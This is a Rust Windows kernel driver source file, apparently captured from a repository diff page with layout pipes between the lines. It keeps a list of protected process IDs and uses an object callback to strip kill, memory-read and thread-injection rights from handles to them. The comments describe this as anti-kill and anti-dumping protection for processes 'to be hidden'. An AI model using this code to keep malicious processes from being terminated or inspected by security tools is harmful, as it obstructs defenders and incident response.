||||||
PROCESS_CREATE_THREAD, PROCESS_TERMINATE,
|
|
||||||
PROCESS_VM_OPERATION, PROCESS_VM_READ
|
|
||||||
},
|
|
||||||
wdk_sys::{
|
|
||||||
ntddk::PsGetProcessId,
|
|
||||||
_OB_PREOP_CALLBACK_STATUS::{self, OB_PREOP_SUCCESS},
|
|
||||||
NTSTATUS, OB_PRE_OPERATION_INFORMATION, PEPROCESS,
|
|
||||||
PROCESS_DUP_HANDLE, STATUS_SUCCESS, STATUS_UNSUCCESSFUL,
|
|
||||||
STATUS_DUPLICATE_OBJECTID
|
|
||||||
},
|
|
||||||
};
|
|
||||||
|
|
||||||
/// Handle for the process callback registration.
|
|
||||||
pub static mut CALLBACK_REGISTRATION_HANDLE_PROCESS: *mut c_void = core::ptr::null_mut();
|
|
||||||
|
|
||||||
/// List of target PIDs protected by a mutex.
|
|
||||||
static TARGET_PIDS: Lazy<Mutex<Vec<usize>>> = Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_PID)));
|
|
||||||
|
|
||||||
/// Method to check if the action sent is to add or remove a pid from the list of protected processes
|
|
||||||
///
|
|
||||||
/// # Arguments
|
|
||||||
///
|
|
||||||
/// - `process`: Structure with information about the process that will be added or removed from the list of protected processes.
|
|
||||||
///
|
|
||||||
/// # Returns
|
|
||||||
///
|
|
||||||
/// - `NTSTATUS`: A status code indicating the success or failure of the operation.
|
|
||||||
///
|
|
||||||
pub fn add_remove_process_toggle(process: *mut ProcessProtection) -> NTSTATUS {
|
|
||||||
let pid = unsafe { (*process).pid };
|
|
||||||
if unsafe { (*process).enable } {
|
|
||||||
add_target_pid(pid)
|
|
||||||
} else {
|
|
||||||
remove_target_pid(pid)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Method for adding the list of processes that will have anti-kill / dumping protection.
|
|
||||||
///
|
|
||||||
/// # Arguments
|
|
||||||
///
|
|
||||||
/// - `pid`: The identifier of the target process (PID) to be hidden.
|
|
||||||
///
|
|
||||||
/// # Returns
|
|
||||||
///
|
|
||||||
/// - `NTSTATUS`: A status code indicating the success or failure of the operation.
|
|
||||||
///
|
|
||||||
fn add_target_pid(pid: usize) -> NTSTATUS {
|
|
||||||
let mut pids = TARGET_PIDS.lock();
|
|
||||||
|
|
||||||
if pids.len() >= MAX_PID {
|
|
||||||
log::error!("PID list is full");
|
|
||||||
return STATUS_UNSUCCESSFUL;
|
|
||||||
}
|
|
||||||
|
|
||||||
if pids.contains(&pid) {
|
|
||||||
log::warn!("PID {pid} already exists in the list");
|
|
||||||
return STATUS_DUPLICATE_OBJECTID;
|
|
||||||
}
|
|
||||||
|
|
||||||
pids.push(pid);
|
|
||||||
|
|
||||||
STATUS_SUCCESS
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Method for removing the list of processes that will have anti-kill / dumping protection.
|
|
||||||
///
|
|
||||||
/// # Arguments
|
|
||||||
///
|
|
||||||
/// - `pid`: The identifier of the target process (PID) to be hidden.
|
|
||||||
///
|
|
||||||
/// # Returns
|
|
||||||
///
|
|
||||||
/// - `NTSTATUS`: A status code indicating the success or failure of the operation.
|
|
||||||
///
|
|
||||||
fn remove_target_pid(pid: usize) -> NTSTATUS {
|
|
||||||
let mut pids = TARGET_PIDS.lock();
|
|
||||||
|
|
||||||
if let Some(index) = pids.iter().position(|&x| x == pid) {
|
|
||||||
pids.remove(index);
|
|
||||||
STATUS_SUCCESS
|
|
||||||
} else {
|
|
||||||
log::error!("PID {pid} not found in the list");
|
|
||||||
STATUS_UNSUCCESSFUL
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Enumerate Processes Protect.
|
|
||||||
///
|
|
||||||
/// # Arguments
|
|
||||||
///
|
|
||||||
/// - `info_process`: It is a parameter of type `InfoProcesses` that will send the processes that are currently protected.
|
|
||||||
/// - `information`: It is a parameter of type `usize` that will be updated with the total size of the filled `InfoProcesses` structures.
|
|
||||||
///
|
|
||||||
/// # Returns
|
|
||||||
///
|
|
||||||
/// - `NTSTATUS`: A status code indicating success or failure of the operation.
|
|
||||||
///
|
|
||||||
pub unsafe fn enumerate_protection_processes(info_process: *mut ProcessListInfo, information: &mut usize) -> NTSTATUS {
|
|
||||||
let process_info = TARGET_PIDS.lock();
|
|
||||||
let mut count = 0;
|
|
||||||
for i in process_info.iter() {
|
|
||||||
(*info_process.offset(count)).pids = *i;
|
|
||||||
|
|
||||||
*information += core::mem::size_of::<ProcessListInfo>();
|
|
||||||
count += 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
STATUS_SUCCESS
|
|
||||||
}
|
|
||||||
|
|
||||||
/// The object (process) pre-operation callback function used to filter process opening operations.
|
|
||||||
/// This function is registered as a callback and is called by the operating system before a process opening operation is completed.
|
|
||||||
///
|
|
||||||
/// # Arguments
|
|
||||||
///
|
|
||||||
/// - `_registration_context`: Pointer to record context (Not used).
|
|
||||||
/// - `info`: Pointer to an `OB_PRE_OPERATION_INFORMATION` structure that contains information about the process's pre-opening operation.
|
|
||||||
///
|
|
||||||
/// # Returns
|
|
||||||
///
|
|
||||||
/// - `_OB_PREOP_CALLBACK_STATUS::Type`: A status code indicating the success or failure of the operation.
|
|
||||||
///
|
|
||||||
pub unsafe extern "C" fn on_pre_open_process(
|
|
||||||
_registration_context: *mut c_void,
|
|
||||||
info: *mut OB_PRE_OPERATION_INFORMATION,
|
|
||||||
) -> _OB_PREOP_CALLBACK_STATUS::Type {
|
|
||||||
if (*info).__bindgen_anon_1.__bindgen_anon_1.KernelHandle() == 1 {
|
|
||||||
return OB_PREOP_SUCCESS;
|
|
||||||
}
|
|
||||||
|
|
||||||
let process = (*info).Object as PEPROCESS;
|
|
||||||
let pid = PsGetProcessId(process) as usize;
|
|
||||||
let pids = TARGET_PIDS.lock();
|
|
||||||
|
|
||||||
if pids.contains(&pid) {
|
|
||||||
let mask = !(PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_CREATE_THREAD | PROCESS_DUP_HANDLE | PROCESS_TERMINATE);
|
|
||||||
(*(*info).Parameters).CreateHandleInformation.DesiredAccess &= mask;
|
|
||||||
}
|
|
||||||
|
|
||||||
OB_PREOP_SUCCESS
|
|
||||||
}
|
|
||||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user